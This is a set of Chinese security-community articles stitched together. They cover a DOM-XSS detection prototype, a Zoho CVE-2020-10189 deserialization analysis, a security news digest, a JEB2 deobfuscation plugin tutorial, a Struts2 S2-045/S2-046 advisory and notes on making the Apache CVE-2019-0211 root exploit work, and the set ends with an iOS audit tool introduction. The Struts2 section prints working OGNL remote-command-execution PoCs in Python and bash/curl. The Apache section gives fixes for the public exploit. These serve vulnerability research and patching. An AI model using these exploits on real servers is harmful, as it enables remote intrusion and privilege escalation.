Based的XSS自动化检测，有两个想法。第一是基于webkit检测数据包中的dom节点值的变化。第二是基于浏览器插件的被动检测，在浏览过程中使用JS代码提交带有特征的payload并监控dom节点中值的变化。先记录一下第一种的测试经过。
## 0x01
首先写一个简单的测试页面，点击write按键调用test()函数把cin框中内容写到t标签里。这里没有做任何过滤策略，显然可以触发一个dom型的XSS。
<html>
<body>
<div id = "t"></div>
<input type = "text" id = "cin" value = ""/>
<input type = "button" id = "s" value = "write" onclick="test()"/>
<script>
function test(){
var str = document.getElementById("cin").value;
document.getElementById("t").innerHTML=str;
}
</script>
</body>
</html>
首先试一下一般爬虫，这里对上面代码做一个简单修改，不需要点击提交直接将内容写入div标签。根据漏洞原理也易知，直接从response中是无法检测到我们插入的代码，从下图也可以看到dom
based xss的特点。
因此可以考虑使用程序中调用webkit来进行JavaScript解析，然后对返回内容进行检测。python可以使用QTwebkit或者phantomJS来实现。贴一下phantomJS的测试过程吧（QT有很多api包括遍历dom树等非常方便，但是写的时候发现pyload有很多在标签中的，直接通过api来获取有一些小问题）
使用selenium来操作phantomJS
from selenium import webdriver
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
driver = webdriver.PhantomJS(executable_path='/usr/bin/phantomjs')
driver.get("http://xxx/dom1.html")
#print driver.current_url
js = 'document.getElementById("test").value = "<img src>";'
driver.execute_script(js)
driver.find_element_by_id("s").click()
print driver.page_source
#print driver.find_element_by_id("t").text
driver.quit
程序中execute_script()函数执行JS代码在input框中填入payload，然后调用click()函数点击write button。
从上图可以看到我们写入页面的标签<img >。
## 0x02
那么可以编写一个思路如下的自动检测雏形：检测response中是否存在domxss漏洞特征函数(如innerHTML/document.wirte等等)
-> 生成JS给可控点value赋值为特征pyload -> 生成JS触发关键函数 -> 正则匹配执行后的内容。
具体的一些等git上贴出来再讨论吧，不过细分规则方面我并不拿手（一般是看看某z起头大牛某M起头大牛等偶像们开源出来的程序然后。。偷师，这里再次感谢> <）
这个是最开始调试和编写雏形。当然，经常发现程序写着改着就有很多地方和最初设想的非常不一样。暂时就是这些，更多记录留待后续，有不对的地方或者更好的方法望大家多多指教~ | 社区文章 |
### 漏洞描述
2020年3月6日,有安全研究人员`steventseeley`在Twitter上发布了Zoho企业产品`Zoho ManageEngine Desktop
Central`中的反序列化远程代码执行漏洞.利用该漏洞可直接控制安装该产品的服务器,该产品为Windows系统上运行的一种端点管理解决方案,客户可用它管理网络中的设备,例如：Android手机,Unix服务器以及Windows工作站等.它往往充当公司内部的中央服务器,帮助系统管理员推送更新，远程控制系统，锁定设备，控制访问权限等。
### 影响版本
Zoho ManageEngine Desktop Central < 10.0.479
### 漏洞编号
CVE-2020-10189
### 威胁等级
高危
### 漏洞分析
##### 1.寻找反序列化点
我们进入`DesktopCentral_Server/webapps/DesktopCentral/WEB-INF/`目录提取`web.xml`,可以看到一个名为`CewolfServlet`的`servlet`.
该`servlet`对应的`class`为`de.laures.cewolf.CewolfRenderer`,该类存在于`DesktopCentral_Server/lib/cewolf-1.2.4.jar`
该类中的get方法使用`img`参数接受`imgKey`的值
imgKey将会被`Storage`类中的`getChartImage`方法调用
在该jar包中存在一个`FileStorage`类基于`Storage`类实现接口的类.在其内部存在一个`storeChartImage`方法,该方法直接将接收到的文件流存储在本地.该方法内部调用一个`getFileName`类用于拼接base路径.
在查看`storeChartImage`方法的同时,我注意到还有一个获取文件的方法 `getChartImage`.
清晰可见的是它执行了一个非常危险的操作,直接让`ObjectInputStream`执行了`readObject`方法.可见这就是漏洞的触发点.那么问题来了,有了反序列化的点,序列化文件从哪里上传？
##### 2.寻找文件上传点
于是我再次检索`web.xml`,发现了一个具有上传功能的`servlet`.
该`servlet`对应`DesktopCentral_Server/lib/AdventNetDesktopCentral.jar`中的`com.me.mdm.agent.servlets.file.MDMFileUploaderServlet`.
在该类中存在`Post`方法,可见`udid`和`filename`为可控点,我们完全可以自己传值控制.当然`udid`其实也做了三种安全检查,但并不影响目录穿越的产生.
而`filename`被做了后缀名限制,只允许为`log|txt|zip|7z`其中一种
其实在`security-mdm-agent.xml`做了进一步限制
只允许完整文件名称为`logger.txt|logger.zip|mdmlogs.zip|managedprofile_mdmlogs.zip`.不过这丝毫不影响我们上传恶意的序列化文件.
##### 3.寻找序列化可用的gadgets
我们进入`DesktopCentral_Server\lib`目录,寻找有漏洞的jar.
可见我们发现了`commons-collections.jar`、`commons-beanutils-1.8.0.jar`
`commons-collections.jar`不确定具体版本,我们查看一下版本
太完美了它是`commons-collections:3.1`.可见我们可以利用`CommonsBeanutils1`和`CommonsCollections3`两条gagdets.当然还有jdk的两条gagdets,`JDK7U21`和`JRE8U20`.
我们请出反序列化文件构建神器——`ysoserial`.
我们使用`ysoserial`中的两条gadgets构建序列化文件即可.但是这里我们需要注意的是如果直接使用可能会反序列化失败,
这是由于我们在打包`ysoserial`时默认的依赖版本是`1.9.2`,而`Zoho ManageEngine Desktop
Central`自带的是`commons-beanutils-1.8.0`,这将导致`UID`不同,从而造成反序列化失败.我们只需要修改`ysoserial`的`pom.xml`中的`commons-beanutils`为1.8系列重新打包`ysoserial`即可
##### 4.效果演示
为了满足漏洞管理条例,本文不直接放出payload,可自行参考文末的公开payload
### Reference
<https://nosec.org/home/detail/4211.html>
<https://srcincite.io/pocs/src-2020-0011.py.txt>
<https://nvd.nist.gov/vuln/detail/CVE-2020-10189> | 社区文章 |
# 【知识】8月24日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： 如何将Kali Linux转换为一个路由器、图解wifi工作原理、渗透测试学习笔记、Project
Zero:在Windows上绕过VirtualBox Process
Hardening、跨平台Macro钓鱼攻击payload、canisrufus：基于Python的Windows后门，使用Github作为CC服务器、如何安全的使用PGP、浏览器漏洞挖掘思路、raven：针对Linkedin信息收集工具**
**资讯类：**
ROPEMAKER攻击：攻击者可以电子邮件的内容（即使是已经发送的邮件）
<http://thehackernews.com/2017/08/change-email-content.html>
BTCMine：针对Linux设备的新型矿机现身
<https://www.bleepingcomputer.com/news/security/brian-krebs-fan-creates-new-cryptocurrency-miner-for-linux-devices/>
**暗网新闻：**
美国缉毒局和NSO 集团谈判购买NSO的后门软件,NSO集团的后门软件可以在补丁全打的情况下监控最新版苹果系统
<https://www.deepdotweb.com/2017/08/22/dea-talks-iphone-hacking-group/>
**技术类：**
kalirouter:如何将Kali
Linux转换为一个路由器（向在另一台机器上运行的拦截代理（如BurpSuite）发送HTTP和HTTPS流量、可以通过wireshark记录所有流量）
<https://github.com/koenbuyens/kalirouter>
Postmortem Program Analysis with Hardware-Enhanced Post-Crash Artifacts
<https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-xu.pdf>
图解wifi工作原理
<http://www.verizoninternet.com/bookmark/how-wifi-works/>
openstar
<https://github.com/starjun/openstar>
渗透测试学习笔记之案例三
<http://mp.weixin.qq.com/s/_zbSCm_fRNP8bDQ2Vxcs9A>
恶意软件仿真器的自动逆向工程
<http://old.iseclab.org/people/andrew/download/oakland09.pdf>
如何使用Shodan命令行获取一个国家最受欢迎的服务列表
<https://asciinema.org/a/48142>
Practical Reverse Engineering Part 4 – Dumping the Flash
<http://jcjc-dev.com/2016/06/08/reversing-huawei-4-dumping-flash/>
如何在特定的渗透测试中适用Burp扩展
<http://blog.portswigger.net/2017/08/adapting-burp-extensions-for-tailored.html>
Sysmon View：跟踪和可视化Sysmon日志
<https://cybernext.org/sysmon-view/>
Project Zero:在Windows上绕过VirtualBox Process Hardening
<https://googleprojectzero.blogspot.com/2017/08/bypassing-virtualbox-process-hardening.html>
Using certutil as wget on win hosts
<http://carnal0wnage.attackresearch.com/2017/08/certutil-for-delivery-of-files.html>
跨平台Macro钓鱼攻击payload
<https://medium.com/@malcomvetter/multi-platform-macro-phishing-payloads-3b688e8eff68>
canisrufus：隐藏的基于Python的Windows后门，使用Github作为CC服务器
<https://github.com/maldevel/canisrufus>
redteam-plan：规划红队演习时要考虑的问题
<https://github.com/magoo/redteam-plan>
Deep Analysis of New Poison Ivy Variant
<https://blog.fortinet.com/2017/08/23/deep-analysis-of-new-poison-ivy-variant>
portia：在内网渗透中自动化执行
<https://github.com/SpiderLabs/portia>
如何安全的使用PGP
<https://medium.com/@thegrugq/the-zen-of-pgp-6f55d44657dd>
sRDI：Shellcode反射式DLL注入
<https://silentbreaksecurity.com/srdi-shellcode-reflective-dll-injection/>
逆向Humble Bundle应用程序以获得API访问
<https://www.schiff.io/blog/2017/07/21/reverse-engineering-humble-bundle-api>
3 insights from the Gartner Hype Cycle for Mobile Security 2017
<https://blog.lookout.com/gartner-hype-cycle-mobile-security-2017>
浏览器漏洞挖掘思路
<https://zhuanlan.zhihu.com/p/28719766>
raven：针对Linkedin信息收集工具
<https://github.com/0x09AL/raven>
Crystal Finance Millennium used to spread malware
<https://bartblaze.blogspot.com/2017/08/crystal-finance-millennium-used-to.html>
GCC low-level IR and basic code generation
<http://kristerw.blogspot.com/2017/08/gcc-low-level-ir-and-basic-code.html>
Hack Chip: An Uber Portable Hacking Powerhouse
<https://blog.hackster.io/hack-chip-an-uber-portable-hacking-powerhouse-4a92a5c84293> | 社区文章 |
JEB2发布有段时间了，相比于JEB1来说功能强大了很多，但是API也发生了巨大的变化，不仅是定义上也包括架构上，这给我们移植或者是新编写插件带来了一定不便,
目前也还没看到详细一些的API分析教程。本文以一个具体的应用分析为例，解释如何编写一个JEB2中处理混淆应用的插件，来实现自动识别和重命名。
## 案例
我们的样例APK是一个采用了比较剑走偏锋混淆的东西，其中绝大部分类名、函数名、field名都被替换成了包含lIi的字符串，如下截图所示：
这种给人工分析时追踪函数调用带来了不便，因为这些字符串字母长的都比较像，所以我们需要写一个JEB脚本来自动化重命名这些item。我们的逻辑如下：
* 对于类：递归寻找它的父类和实现的接口。如果父类和接口包含了有意义的名字：例如SDK类Activity、不能混淆的类名MainActivity，以此为基础进行重命名
* 对于Field：根据该Field的类型，重命名其名字
* 对于函数：根据该函数的参数类型，重命名其名字
## JEB2的API架构
由于JEB2试图成为像IDA那样的universal disassembler，其架构多了很多包装层。对于APK分析来说，关键的部分关系如下所示：
IProjectUnit -> ICodeUnit -> IJavaSourceUnit
IProjectUnit代表了整个workspace，一般我们只会使用project[0]
>>> engctx.getProjects()
[Project:{/xxx/xxx.apk.jdb2}]
ICodeUnit则代表了一个project中所有的可解析部分，如下面我们提到的，因为JEB2为各种架构都提供了统一包装层，ICodeUnit不再仅仅是dex或者jar，而还会包括了libraries中的各种native
Library。
>>> units = RuntimeProjectUtil.findUnitsByType(prj, ICodeUnit, False)
>>> map(lambda x: print(x.name), units)
[u'Bytecode', u'arm64 image', u'arm image', u'arm image', u'mips image', u'x86 image', u'x86_64 image']
其中`Bytecode`项是对应的dex体. 其对应的ICodeUnit代表了整个dex, 已经提供了基本的类型信息,例如Class, Type,
Method, Field, Package
使用者可以通过ICodeUnit.getClass/getMethod/getField获取到对应的ICodeClass/ICodeMethod/ICodeField.
但是这个层级的unit并没有提供class hierchy信息和具体的源代码AST信息,故我们还需要IJavaSourceUnit.
IJavaSourceUnit代表的是执行过反编译之后生成的Java源代码体,提供了更加丰富和细节的Java代码信息供使用.
其对应的AST元素为IJavaClass/IJavaMethod等等.
通过decompiler.decompile(icodeclass.getAddress())获取IJavaSourceUnit,
通过IJavaSourceUnit.getClassElement获取IJavaClass.
需要强调的是, ICodeUnit对应的是整个dex, 而IJavaSourceUnit对应的是单个反编译出的类.
### 自订操作
在JEB2中,用户操作(自定义操作)被统一包装在ActionContext类之下,类似于transaction的形势.API使用者提交各种ActionContext,并检查返回值是否成功.一个典型的重命名操作如下:
>>> actCntx = ActionContext(self.targetUnit, Actions.RENAME, clz.getItemId(), clz.getAddress())
actData = ActionRenameData()
actData.setNewName(newName)
if codeUnit.prepareExecution(actCntx, actData):
codeUnit.executeAction(actCntx, actData)
值的注意的是,这里的clz对象均为ICodeUnit调用getClass所查询出的ICodeClass类,而不是IJavaSourceUnit对应的IJavaClass.
ActionContext作用的对象也是代表整个dex的ICodeUnit.
除了重命名操作之外, ActionContext还包括了COMMENT, CONVERT, CREATE_PACKAGE, DELETE,
MOVE_TO_PACKAGE, QUERY_OVERRIDES, QUERY_TYPE_HIER, QUERY_XREFS, RENAME等操作,
其实就是我们在UI中右键所能执行的操作. 读者可能要问, 像QUEYR_TYPE_HIER这种操作, 通过IJavaSource解析AST不是也可以做?
我认为确实是这样, 这里可能还是为了给不同语言提供一个统一的抽象接口. 当然QUERY_XREFS顾名思义是获取到对应的引用,
这方便我们做一些callgraph的查询.
### 案例解析
如文章开头所示, 我们的目的是根据被混淆item的基类信息和类型信息/参数信息对其重命名. 主要逻辑如下:
for clz in codeunit.getClasses():
if isObfuscated(clz):
name = determineNameFromHierchy(clz) --->1
rename(clz, name)
for field in codeUnit.getFields():
if isObfuscated(field):
name = determineNameByFieldType(field)
rename(field, name)
for mtd in codeUnit.getMethods():
if isObfuscated(mtd):
name = determineNameByArgsType(field)
rename(field, name)
例如, class IiIiIiIi是继承于class iIiIiIiI,
而iIiIiIiI又继承于Activity/实现了onClickListener,
那么我们就可以使用Activity/onClickListener作为基准重命名两个被混淆的类. 这里的关键在于一个递归获取基类的函数, 如下所示:
'''
clzElement is ICodeClass retrieved from ICodeUnit.getClass()
'''
def tryDetermineGodeName(self, clzElement):
javaunit = self.decomp.decompile(clzElement.getAddress())
clzElement = javaunit.getClassElement()
#now clzElement is a IJavaClass
if not isFuckingName(clzElement.getName()):
#this is a non-obfuscated name, just return it
return clzElement.getName()
ssupers = clzElement.getImplementedInterfaces()
supers = []
supers.extend(ssupers)
# do not directly append on returned list!
superSig = clzElement.getSupertype().getSignature()
supers.append(clzElement.getSupertype())
for superItem in supers:
sig = superItem.getSignature()
if sig == "Ljava/lang/Object;":
#extend from java/lang/Object gives us zero info
#so try next
continue
if not isFuckingName(sig):
#return first non-obfuscated name
return sig
resolvedType = self.targetUnit.getClass(sig)
if resolvedType:
#this is a concret class
guessedName = self.tryDetermineGoodName(resolvedType)
if guessedName:
return guessedName
else:
#this is a SDK class
return sig
#cannot determine name from its supers, return None
return None
相对来讲, method和field的重命名就简单了很多, 如附代码所示, 在此不再赘述.
这里还有一个小细节, 因为需要操作的类比较多, 我们将插件定义为后台运行, 这样可以不阻塞UI, 同时获得更好的log效果.
重命名后的效果如下:
可以看到我们恢复出了较多可读信息. 完整代码:
<https://gist.github.com/flankerhqd/ca92b42f1f796763e5d1f8cd73247a30>
### 总结
JEB2的API相对于JEB1组织层次更多, 也就没那么直观. 但有了初步了解之后, 也可以很快掌握使用方法.
测试版本: JEB2 2.3.4
### Ref:
1. <http://blog.csdn.net/weixin_37556843/article/details/66476295>
2. <https://www.pnfsoftware.com/jeb2/apidoc/reference/packages.html>
3. <https://groups.google.com/forum/#!topic/jeb-decompiler> | 社区文章 |
# 【重大漏洞预警】Struts 2 远程代码执行漏洞(s2-045s2-046) (含PoC)
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://cwiki.apache.org/confluence/display/WW/S2-045>
译文仅供参考，具体内容表达以及含义原文为准。
****
**
**
**背景介绍**
近日，安全研究人员发现著名J2EE框架——Struts2存在远程代码执行的漏洞，Struts2官方已经确认该漏洞（S2-045,S2-046），并定级为高危漏洞。
Struts2 的使用范围及其广泛，国内外均有大量厂商使用该框架。
Struts2是一个基于MVC设计模式的Web应用框架，它本质上相当于一个servlet，在MVC设计模式中，Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts
2是Struts的下一代产品，是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。（来源：百度百科）
**漏洞描述**
使用Jakarta插件处理文件上传操作时可能导致远程代码执行漏洞。
**S2-045漏洞影响**
攻击者可以通过构造HTTP请求头中的Content-Type值可能造成远程代码执行。
****S2-045** PoC_1（来源于网络：<http://www.cnblogs.com/milantgh/p/6512739.html> ）**
* * *
****
#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def poc():
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
response = urllib2.urlopen(request)
print response.read()
poc()
**S2-046漏洞影响（ 更新）**
* * *
**触发条件**
上传文件的大小（由Content-Length头指定）大于Struts2默认允许的最大大小（2M）。
header中的Content-Disposition中包含空字节。
文件名内容构造恶意的OGNL内容。
****S2-046**
PoC（来源于网络：[](http://www.cnblogs.com/milantgh/p/6512739.html)<https://community.hpe.com/t5/Security-Research/Struts2-046-A-new-vector/ba-p/6949723#> ）**
需要在strust.xml中加入 <constant name="struts.multipart.parser" value="jakarta-stream" />才能触发。
POST /doUpload.action HTTP/1.1
Host: localhost:8080
Content-Length: 10000000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z
Connection: close
------WebKitFormBoundaryAnmUgTEhFhOZpr9z
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"
Content-Type: text/plain
Kaboom
------WebKitFormBoundaryAnmUgTEhFhOZpr9z--
****
****
****S2-046**
PoC_2（来源于网络：[https://gist.githubusercontent.com/frohoff/a3e24764561c0c18b6270805140e7600
](https://gist.githubusercontent.com/frohoff/a3e24764561c0c18b6270805140e7600)）**
#!/bin/bash
url=$1
cmd=$2
shift
shift
boundary="---------------------------735323031399963166993862150"
content_type="multipart/form-data; boundary=$boundary"
payload=$(echo "%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"$cmd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}")
printf -- "--$boundaryrnContent-Disposition: form-data; name="foo"; filename="%sb"rnContent-Type: text/plainrnrnxrn--$boundary--rnrn" "$payload" | curl "$url" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- $@
**验证截图**
**修复建议**
1\. 严格过滤 **Content-Type** 、 **filename** 里的内容，严禁ognl表达式相关字段。
2\. 如果您使用基于Jakarta插件，请升级到Apache Struts 2.3.32或2.5.10.1版本。（ **强烈推荐** ）
**官网公告**
<https://cwiki.apache.org/confluence/display/WW/S2-045>
[https://cwiki.apache.org/confluence/display/WW/S2-04](https://cwiki.apache.org/confluence/display/WW/S2-045)6
****
**补丁地址**
Struts
2.3.32：<https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.32>
Struts
2.5.10.1：<https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.10.1>
**参考**
<http://struts.apache.org/docs/s2-045.html>
<http://struts.apache.org/docs/s2-046.html>
[https://gist.githubusercontent.com/frohoff/a3e24764561c0c18b6270805140e7600](https://community.hpe.com/t5/Security-Research/Struts2-046-A-new-vector/ba-p/6949723#)
<https://community.hpe.com/t5/Security-Research/Struts2-046-A-new-vector/ba-p/6949723#> | 社区文章 |
**作者：Hcamael@知道创宇404实验室
时间：2019年4月12日 **
**英文版本：<https://paper.seebug.org/928/>**
本月Apache被公布了一个提权的漏洞，并且前天在GitHub上公布出了利用脚本，这几天我负责漏洞应急这个漏洞。
本篇文章没有叫：《Apache 提权漏洞分析》是因为我觉得[CARPE (DIEM): CVE-2019-0211 Apache Root
Privilege Escalation](https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html)这篇文章的分析写的挺好的，所以我没必要再翻译一遍了，本篇文章主要叙述复现该漏洞的过程中踩过的坑。
### 复现环境
我使用的复现环境是：
# 系统, 跟系统关系不是很大，主要问题是能不能用包管理器安装对应版本的apache
$ lsb_release -a
Distributor ID: Ubuntu
Description: Ubuntu 18.04.1 LTS
Release: 18.04
Codename: bionic
# Apache版本，复现的关键就在该版本
$ apache2 -v
Server version: Apache/2.4.29 (Ubuntu)
Server built: 2018-03-02T02:19:31
# php版本
$ php -v
PHP 7.2.15-0ubuntu0.18.04.2 (cli) (built: Mar 22 2019 17:05:14) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
with Zend OPcache v7.2.15-0ubuntu0.18.04.2, Copyright (c) 1999-2018, by Zend Technologies
1. apache使用apt安装的版本属于已经修复的版本，所以需要指定一下版本： `# apt install apache2=2.4.29-1ubuntu4 apache2-bin=2.4.29-1ubuntu4 apache2-utils=2.4.29-1ubuntu4 apache2-data=2.4.29-1ubuntu4`
2. php直接用apt安装就好了
3. exp地址: <https://github.com/cfreal/exploits/blob/master/CVE-2019-0211-apache/cfreal-carpediem.php>
4. 需要开启ssl模块：`a2enmod ssl`
关于需要开始ssl模块说明：
1. 就算不开ssl模块，漏洞也是存在的
2. 就算不开启ssl模块，你自己修改apache配置，能开启其他端口，也是能利用的
3. 如果只开了80端口，则需要另行找一条利用链，github上公布exp在只开启了一个端口的情况下是无效的
4. @cfreal的文章中已经说了，我这里在多说句，相关代码可以看看[1](https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L433)和[2](https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L1223)还有`SAFE_ACCPET`的宏定义：
/* On some architectures it's safe to do unserialized accept()s in the single
* Listen case. But it's never safe to do it in the case where there's
* multiple Listen statements. Define SINGLE_LISTEN_UNSERIALIZED_ACCEPT
* when it's safe in the single Listen case.
*/
#ifdef SINGLE_LISTEN_UNSERIALIZED_ACCEPT
#define SAFE_ACCEPT(stmt) (ap_listeners->next ? (stmt) : APR_SUCCESS)
#else
#define SAFE_ACCEPT(stmt) (stmt)
#endif
简单的来说，只有在apache开启多个端口的情况下，才会生成mutex互斥锁，而在github上公布的exp就是通过apache的mutex对象来进行利用的。
### 跑exp中遇到的一些坑
我试过了很多版本，没有一个版本是能直接使用Github上的exp的，在上述表面的版本中，经过调试研究发现了两个问题导致了利用失败：
1. `$all_buckets = $i - 0x10` 计算出问题
2. `$bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2);` 计算出问题
第一个计算`all_buckets`的地址，使用gdb进行调试，你会发现，这个值并没有算错，但是在执行`apache2ctl
graceful`命令以后，`all_buckets`
生成了一个新的值，不过只和之前的`all_buckets`地址差`0x38000`，所以这个问题很好解决：
$all_buckets = $i - 0x10 + 0x38000;
第二个计算没必要这么复杂，而且在我测试的版本中还是算的错误的地址，直接改成：
$bucket_index = $bucket_index_middle;
### ubuntu中的一个坑
我的payload是：`curl "http://localhost/cfreal-carpediem.php?cmd=id>/tmp/2323232"`
表面上看是执行成功了，但是却并没有在/tmp目录下发现2323232文件，经过随后的研究发现，systemd重定向了apache的tmp目录，执行下`$find
/tmp -name "2323232"`就找到文件了，不过只有root用户能访问。如果不想让systemd重定向tmp目录也简单：
$ cat /lib/systemd/system/apache2.service
[Unit]
Description=The Apache HTTP Server
After=network.target remote-fs.target nss-lookup.target
[Service]
Type=forking
Environment=APACHE_STARTED_BY_SYSTEMD=true
ExecStart=/usr/sbin/apachectl start
ExecStop=/usr/sbin/apachectl stop
ExecReload=/usr/sbin/apachectl graceful
PrivateTmp=false
Restart=on-abort
[Install]
WantedBy=multi-user.target
这项为false就好了，`PrivateTmp=false`，改完以后重启一下，再测试一遍就能在tmp目录下写文件了
### 关于成功率的说法
在exp的注释中看到了说该利用没法100%成功，有失败的概率，所以我写了个脚本进行测试：
root@vultr:~# cat check
#!/bin/bash
SUCC=0
COUNT=0
for i in $(seq 1 20)
do
let COUNT+=1
/etc/init.d/apache2 stop
sleep 1
/etc/init.d/apache2 start
if [ -f "/tmp/1982347" ];then
rm /tmp/1982347
fi
curl "http://localhost/cfreal-carpediem.php?cmd=id>/tmp/1982347"
apache2ctl graceful
sleep 1
if [ -f "/tmp/1982347" ];then
let SUCC+=1
fi
done
echo "COUNT: $COUNT"
echo "SUCCESS: $SUCC"
我测试的跑了20次的结果：
# ./check
......
COUNT: 20
SUCCESS: 20
并没有遇到失败的情况
### 总结
其他版本的还没有进行测试，但是在这里给一些建议。
1. check all_buckets地址
这个挺简单的，执行完exp以后，有输出对应的pid和all_buckets地址，可以使用gdb attach上去检查下该地址是否正确：`p
all_buckets`
PS：这里要注意下，需要安装dbg包，才有all_buckets符号 ：`apt install apache2-dbg=2.4.29-1ubuntu4`
如果有问题，就调试检查exp中搜索all_buckets地址的流程
如果没问题，就使用gdb attach主进程(root权限的那个进程)，然后断点下在`make_child`，然后执行`apache2ctl
graceful`，执行完然后在gdb的流程跳到make_child函数的时候，再输出一次：`p
all_buckets`，和exp获取的值对比一下，如果一样就没问题了
2. check my_bucket地址
前面的流程和上面一样，重点关注在make_child函数中的my_bucket赋值的代码：[3](https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L691)
这里注意下，因为上面有一个fork，所以在gdb里还要加一句：`set follow-fork-mode child`
`my_bucket`的值是一个指针，指向堆喷的地址，如果`my_bucket`的值没问题，exp基本就没问题了，如果不对，就调整`$bucket_index`
### 更新
debian 9测试成功：
# cat /etc/issue
Debian GNU/Linux 9 \n \l
# apache2 -v
Server version: Apache/2.4.25 (Debian)
Server built: 2018-11-03T18:46:19
# php -v
PHP 7.0.33-0+deb9u3 (cli) (built: Mar 8 2019 10:01:24) ( NTS )
Copyright (c) 1997-2017 The PHP Group
Zend Engine v3.0.0, Copyright (c) 1998-2017 Zend Technologies
with Zend OPcache v7.0.33-0+deb9u3, Copyright (c) 1999-2017, by Zend Technologies
### 参考
1. <https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L433>
2. <https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L1223>
3. <https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L691>
* * * | 社区文章 |
来源：[长亭技术专栏](https://zhuanlan.zhihu.com/p/29761306 "长亭技术专栏")
作者：周知日
Github 项目地址 [chaitin/passionfruit](https://github.com/chaitin/passionfruit
"chaitin/passionfruit")
#### 前情提要
虽然没有 Android 平台那么多的攻击面和利用姿势，iOS
应用依然有安全审计的需求。移动平台的安全目前采用的策略基本上都是扫描器加上一部分人工的逆向和动态分析。
针对 iOS 应用攻击面分析，目前笔者了解或使用过的相关工具如下（除去逆向工程使用的调试器和反汇编工具）：
* Snoop-It（已停止维护）
* [dmayer/idb](https://github.com/dmayer/idb "dmayer/idb") idb is a tool to simplify some common tasks for iOS pentesting and research
* [mwrlabs/needle](https://github.com/mwrlabs/needle "mwrlabs/needle") The iOS Security Testing Framework
* [sensepost/objection](https://github.com/sensepost/objection "sensepost/objection") ? objection - runtime mobile exploration
* [iSECPartners/Introspy-iOS](https://github.com/iSECPartners/Introspy-iOS "iSECPartners/Introspy-iOS") IntroSpy
在使用中笔者多多少少遇到了一些问题，例如 needle 在设备上需要部署过多依赖包，idb 不兼容 iOS 10，Introspy
虽好但查询日志数据库有一些麻烦……忍不住开始造轮子。
审计工具所需功能大体有如下几个方面：
* 分析应用是否开启了必要的编译器保护
* 分析应用沙盒内的文件内容和权限
* 分析应用使用到的 framework 和动态链接库
* 分析应用存储的数据，如 UserDefaults, BinaryCookie 和 KeyChain
* 分析剪贴板的使用
* 动态拦截和分析 Objective C 运行时方法
* 动态拦截和分析本地代码的参数调用和堆栈追踪
* 分析 UIView 的层级结构和属性
* 一些基于 hook 实现的修改功能，如设备特征伪造、绕过越狱检测、绕过 SSL Pinning 等
应用目前仍然在开发中，可能会有 bug 或功能缺失。
#### 设计
在实现方案上，笔者选择了功能极为强大的 hook 框架 frida.re。关于这个框架不需要我再过多介绍，它在 iOS 平台上支持对 native
函数、Objective C 运行时的 hook 和调用，可以满足多种移动安全运行时分析的自动化需求。
